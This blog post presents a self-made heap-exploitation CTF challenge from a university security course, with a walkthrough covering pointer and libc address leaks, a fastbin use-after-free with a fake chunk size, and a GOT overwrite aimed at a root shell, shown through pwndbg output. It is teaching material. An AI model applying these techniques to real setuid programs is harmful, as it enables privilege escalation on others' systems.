Preface
Ah yes, CTF. The green pasture that I never bothered to explore in the first two decades of messing around with computing.
However, when I took CSE 5474 at OSU last year, which is a course that revolves around these CTF challenges, I was instantly hooked. I went absolutely crazy over them, solving the entire dozen in one ultra-extended (and sleep-deprived) night, which was supposed to be solved over the span of roughly two weeks each set. I guess it was my old competitiveness getting to me… I believe I ended up being the only person in that class who solved every single CTF challenge [1].
As I said, security research is an area that I’ve never explored
before. I came to this class with little prior experience: I’ve never
written any serious code in assembly. In fact, I don’t know much
assembly in the first place: I have to look up what the LEA
instruction does almost every time I see them. While I do have some
decent experience debugging with GDB, but it’s limited to programs with
source code available, and I have little knowledge in reverse
engineering. But thanks to the thoughtfully designed structure of the
course, as well as its introductory nature, I was able to get accustomed
to the basics pretty fast.

My first conscious encounter with a stack corruption bug. That was almost ten years ago. The “good old times”.
Towards the end of the class, we were asked to design our own CTF challenges to be included in the final challenge set. The challenge you’re about to see is what I submitted. It was based around a huge detour that I got myself into when I was solving the last homework assignment challenge set, which is on the topic of heap vulnerabilities and was in fact, the only challenge set that I spent two nights instead of one working on thanks to said detour. Because it was quite a trip for me, I made it into a full challenge with the hope that it could be a nice learning experience for everyone. That unfortunately did not happen, because no one even took a crack at it, even after me posting a pretty thorough walk-through of the challenge in the class discussion board, which is included in the “Guide” section of this post.
I have later had a discussion with the TA of the class, who’s responsible for the entire CTF component of the class, to make my challenge and the write-up public. The request was approved, and this post you’re reading right now is the result of it.
Please note that this is the first ever (and probably last, as will be explained soon) CTF challenge designed by me, it might be fatally flawed and / or laughably easy. I’d appreciate any constructive criticism though.
If you read the title right, you might be wondering why would this be the only post on CTF from me, after all it seems to be the case that I enjoy solving them. But unfortunately, despite enjoying the dopamine rust after solving a challenge, I ultimately only have limited time. Plus security is at best only tangentially related to my area of research. So I have decided that it’s probably better for me to keep this adventure as a leaflet of memory in my diary to be cherished forever.
The challenge
Download the archive for the challenge.
This challenge is designed for the AMD64 platform. It specifically required the vulnerable glibc version 2.27-3ubuntu1.2_amd64 to work. You may download this vulnerable glibc version from launchpad.net using this link.
The archive includes the following folders:
bin
: the binary you would have received on a CTF platform.src
: contains the source code for the challenge.sol
: contains a wacky reference solution.
Your goal, as usual, is to obtain a root shell by interacting with this program (when it is owned by root and has the suid bit set).
Guide
Below is the walk-through I posted to the class discussion board, nearly in verbatim. For this reason it will contain references to materials used in the class.
Please note that all GDB interactions in this guide are for illustration purposes only. The address you get will differ.
Key differences between this challenge and Level 6 in the heap challenge set
- tcache bins are disabled.
- No Christmas present (must find the libc base address on your own).
- The executable was compiled with PIC on. You’ll have to find the run time base address of the executable somehow.
- All calls to
exit()
have been replaced byabort()
. The 5th menu option was replaced with one that calculates integer division.
Getting the hints hidden in the executable
There were two separate hints hidden in the challenge executable. It
is strongly recommended that you read both of them before proceeding.
These hints are printed out by the give_hint
and
give_another_hint
functions, respectively.
By reverse engineering the function called main_func
, it
quickly becomes apparent that the first hint can be triggered by
entering 1024
at the choice prompt.
The only reference to the second hint function is this call:
__sysv_signal(8, give_another_hint);
. Checking the manual
page of signal(2)
reveals that this call sets the signal
handler of signal with numerical value 8 to the function that gives the
second hint. The signal with numerical value of 8 is
SIGFPE
. In glibc, when the div()
function
(which is used by the integer division option) generates a division by
zero error, it raises the SIGFPE
signal. So to get the
second hint, simply choose option 5 at the prompt and enter a divisor of
0.
Leaking the executable base address
Let’s just do what the first hint told us: “search for it in the heap before you start doing anything”. Run the program with GDB and interrupt it as soon as the prompt shows up.
What do you want to do?
1. add a chunk
2. edit a chunk
3. delete a chunk
4. show the content of a chunk
5. calculate integer division
6. there's no exit ;)
Choice:^C
Program received signal SIGINT, Interrupt.
...
pwndbg> vis
...
0x55f3163a1660 0x0000000000000000 0x0000000000000031 ........1....... <-- fastbins[0x30][0]
0x55f3163a1670 0x0000000000000000 0x000055f3157f27ca .........'...U..
0x55f3163a1680 0x000055f3157f2860 0x000055f3157f2970 `(...U..p)...U..
0x55f3163a1690 0x0000000000000000 0x0000000000020971 ........q....... <-- Top chunk
pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x55f3163a1660 ◂— 0x0
...
Whoa! Why is there already a freed chunk before we have done anything? Also those huge values in the heap look awfully like pointers! Let’s verify that…
pwndbg> x/4i 0x000055f3157f27ca
0x55f3157f27ca <edit_chunk>: push rbp
0x55f3157f27cb <edit_chunk+1>: mov rbp,rsp
0x55f3157f27ce <edit_chunk+4>: sub rsp,0x10
0x55f3157f27d2 <edit_chunk+8>: call 0x55f3157f25b7 <read_idx>
We get our pointer into the executable. It was that easy! But how did
this come to be? Turns out the programmer was doing silly things in
main_func()
…
give_libc_ptr();
ppcVar2 = (code **)malloc(0x20);
*ppcVar2 = add_chunk;
ppcVar2[1] = edit_chunk;
ppcVar2[2] = delete_chunk;
ppcVar2[3] = show_chunk;
free(ppcVar2);
This code allocates some memory, places a few function pointers there
and immediately frees it. The code is vulnerable because sensitive data
aren’t erased before the space they occupy is deallocated – the
free()
function won’t erase everything for you. To make the
program spit out these pointers on its own, we simply allocate the same
amount of space, get the exact same location previously occupied by
these pointers, and use the show content command to get the
pointers.
Note that the first pointer was overwritten by 0’s though. Knowing
that puts()
will stop printing on the first
'\0'
it encounters, you should craft the content of the new
chunk carefully so that the pointer to edit_chunk
can be
printed out.
Also note that due to the same reason (how puts()
works), if the base address of the executable contains a zero byte, we
will unfortunately get an incorrect pointer from the output. In that
case simply rerun the program and hope for a better luck.
Leaking libc base address
We will do the same thing as what we did for level 8 in the heap challenge set: using the unsorted bin to leak the arena address. This procedure was described in detail in Section 2 of Lecture Notes 21 and won’t be repeated here.
Use-after-free on fastbins, but with tcache bins disabled
Here comes the most interesting part of the challenge.
First we would perform the triple-alloc-triple-free ritual as described in Section 3 of Lecture Notes 21. Tcache bins don’t exist, so there’s no need to fill them up.
pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
...
0x70: 0x5563057f8770 —▸ 0x5563057f8700 —▸ 0x5563057f8690 ◂— 0x0
0x80: 0x0
The fast bins after the triple-alloc-triple-free ritual.
Then we would edit the second chunk so that the third chunk points to a location we want to overwrite. Since this challenge is similar to Level 6 of the heap challenge set, presumably we would also want to overwrite the GOT. So why don’t we just do that?
pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
...
0x70: 0x5563057f8770 —▸ 0x5563057f8700 —▸ 0x55d47dac6000 (free@got.plt) —▸ 0x55d47dac3056 (__stack_chk_fail@plt+6) ◂— push 3
0x80: 0x0
The fast bins after editing the second chunk.
Then we allocate twice, getting rid of the first two items in the linked list. After that the next allocation should give us the location we wrote in the last step. Note that since tcache bins don’t exist, the content of fast bins won’t get transferred into tcache bins. So we don’t have to worry about filling the fast bin linked list to a specific length.
pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
...
0x70: 0x55d47dac6000 (free@got.plt) —▸ 0x55d47dac3056 (__stack_chk_fail@plt+6) ◂— push 3
0x80: 0x0
Fast bins after two allocations.
Indeed this looks correct, and the next allocation should give us a pointer into the GOT. However in reality, all we get is a CRASH:
-------------------------
What do you want to do?
1. add a chunk
2. edit a chunk
3. delete a chunk
4. show the content of a chunk
5. calculate integer division
6. there's no exit ;)
Choice: 1
Size of the chunk?: (whatever size you're using)
malloc(): memory corruption (fast)
Dramatic reenactment of the crash.
The first hint comes in clutch: it provides us with the source code snippet that raises this error:
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
So victim_idx
better be the same as idx
here or we will get this error. Let’s take a look at how these values
are calculated:
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
#define chunksize_nomask(p) ((p)->mchunk_size)
...
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
...
idx = fastbin_index (nb);
...
victim = *fb;
...
size_t victim_idx = fastbin_index (chunksize (victim));
victim
is the chunk from the fast bin that we are about
to reuse. fastbin_index
will find the index of the bin
where chunks of a certain size should be placed. This check pretty much
makes sure the chunk we’re about to reuse really has the proper size
that allows it to go into the fast bin that it is currently in. The size
of the chunk is a 64-bit integer located at 8 bytes after the chunk
address (see figure 2 in Lecture Notes 21). We have to find an address
that will satisfy this condition. Note that fast bins will only be used
for chunks with the size of at most 128 bytes by default. So the chunk
size cannot exceed 0x80.
Let’s inspect the memory before the GOT table.
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 17
[0x555555558000] free@GLIBC_2.2.5 -> 0x7ffff7a7b9c0 (free) ◂— push r15
...
pwndbg> x/20gx 0x555555558000-0x40
0x555555557fc0: 0x0000000000000000 0x0000000000000000
0x555555557fd0: 0x00007ffff7a271d0 0x0000000000000000
0x555555557fe0: 0x00007ffff7a275d0 0x0000000000003dd0
0x555555557ff0: 0x00007ffff7ffe170 0x00007ffff7dec7a0
0x555555558000 <free@got.plt>: 0x00007ffff7a7b9c0 0x0000555555555046
...
There’s no valid values in sight. But don’t give up just yet! The address don’t have to be aligned to 64-bit boundaries (yes there is no checks regarding that), so let’s try shifting things around…
pwndbg> x/20gx 0x555555558000-0x40+13
0x555555557fcd: 0xfff7a271d0000000 0x000000000000007f
0x555555557fdd: 0xfff7a275d0000000 0x0000003dd000007f
0x555555557fed: 0xfff7ffe170000000 0xfff7dec7a000007f
0x555555557ffd: 0xfff7a7b9c000007f 0x555555504600007f
0x55555555800d <abort@got.plt+5>: 0x5555555056000055 0x5555555066000055
Immediately we find our valid fast bin size 0x7f. So why don’t we just target this address (0x3fcd + executable base address)?
Do note that our size passed to malloc
has to have the
same fastbin_index
value as this fake size (0x7f) due to
how this check works.
Targeting the GOT
Don’t celebrate just yet. After finding out our working target
address, the previously crashing malloc
call successfully
returns with our desired address. But we’re immediately greeted with
this message:
adding into that section is not allowed...
Pesky! Some simple reverse engineering reveals that if
malloc
returns an address within offset range
[0x3000, 0x4000)
from the executable base address, it will
quit immediately, and our working address is right at the higher end of
this range (you’ll have a hard time finding another one that comes after
it while still allowing you to overwrite the entire GOT, trust me).
Here is where the second hint comes into play. It suggests writing
into the GOT indirectly, specifically using the edit command. Remember
that there is a global variable at 0x40c0
that keeps track
of the address of each chunk and whether they are in use or not. So our
new plan of attack would be:
- Using the UAF vulnerability to overwrite the global variable that keeps track of the chunks, redirecting a chunk pointer to the GOT
- Using the edit command on that chunk to fill the GOT with our modified function entries
We will now repeat the process to find a target address near the
aforementioned global variable with a valid chunk size described in the
last section. I’ll not repeat the procedure here, except giving this
potentially useful figure (all addresses are offsets from the
executable, it’s pretty safe to assume libc will always be loaded to an
address in the form of 0x7f??????????
):
offset 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
0x4090 00 .....
0x40a0 xx xx xx xx xx 7f 00 00 00 .....
<-- stdout in glibc -->
^ this value is 0x7f when interpreted as uint64_t
and is a valid size for fast bins. So 0x409d is the
address we need to target. (offset of stdout - 3)
0x40b0 00 .....
0x40c0 xx xx xx xx ..... 01 00 .....
<--- chunks[0].ptr ---> <-- chunks[0].inuse -->
^ this is the address you want to overwrite
Tackling
malloc_usable_size
Now that we have made the first chunk point to the GOT, can we simply
enter the new GOT data by issuing the edit command? Sadly, the answer is
no. The program will, again, crash, this time inside
malloc_usable_size
.
The offending instruction and relevant values are shown below:
<malloc_usable_size+64> test byte ptr [rdi + rdx - 8], 1
with rdi = 0x55af1df47000 (free@got.plt) —▸ 0x7f1bbd8a59c0 (free) ◂— push r15
and rdx = 0x7f1bbdc167a0 (_dl_runtime_resolve_xsavec) ◂— push rbx
Why don’t we follow the advice and start tracing where these values are from? Let’s start by taking a look at our chunks global variable:
pwndbg> x/20gx 0x55af1df43000 + 0x40a0
0x55af1df470a0 <stdout@GLIBC_2.2.5>: 0x00007f1bbdbfa760 0x6161610000000000
0x55af1df470b0: 0x0000000000000000 0x0000000000000000
0x55af1df470c0 <chunks>: 0x000055af1df47000 0x0000000000000001
0x55af1df470d0 <chunks+16>: 0x000055af1eda8780 0x0000000000000001
This looks correct. The first chunk now points to the first function
entry of the GOT table, which is what we intended. rdi
is
pointing to the same address, indicating it still holds the parameter to
malloc_usable_size
(because edit_chunk
is
trying to find out how many heap bytes is supposedly available at this
address).
Now let’s take a look at memory near the GOT.
pwndbg> x/20gx 0x000055af1df47000 - 0x40
0x55af1df46fc0: 0x0000000000000000 0x0000000000000000
0x55af1df46fd0: 0x00007f1bbd8511d0 0x0000000000000000
0x55af1df46fe0: 0x00007f1bbd8515d0 0x0000000000003dd0
0x55af1df46ff0: 0x00007f1bbde28170 0x00007f1bbdc167a0
0x55af1df47000 <free@got.plt>: 0x00007f1bbd8a59c0 0x000055af1df44046
0x55af1df47010 <__stack_chk_fail@got.plt>: 0x000055af1df44056 0x00007f1bbd872f00
0x55af1df47020 <fputs@got.plt>: 0x00007f1bbd88d260 0x00007f1bbd99d1c0
0x55af1df47030 <close@got.plt>: 0x00007f1bbd91e9d0 0x00007f1bbd895850
Interesting! rdx
seems to have the 64-bit value right
before the targeted address. Of course here rdx + rdi - 8
would be a huge value that won’t ever be in the process virtual memory
space and will crash the program.
Let’s try the good old trick of moving the target address around. How
about moving it back by 32 bytes? This way the targeted address still
points to a value that seems to be a pointer into libc, but
rdx
would be 0, which would be perfect for us because
rdx + rdi - 8
would very likely be a valid memory
location!
Capturing the flag
And it turns out, this works. malloc_usable_size
now
returns without crashing the program. Although the return value seems a
bit less desirable – it returns 0. However this is not an issue for us
because our victim program would subtract 1 from this value, making it
huge (the value is unsigned). This allows us to read unlimited number of
bytes into our target address, which allows us to successfully replace
the GOT.
After that, it’s just crafting the new GOT and passing it to the program. We would then use the appropriate commands to obtain our sweet, sweet root shell!
As a final note, since there is no exit
in the GOT,
we’ll have to find another place for setuid
.
div
seems to be a perfect candidate because it takes more
parameters and we have full control over the value of the
parameters.
Hope you learned something from this challenge :)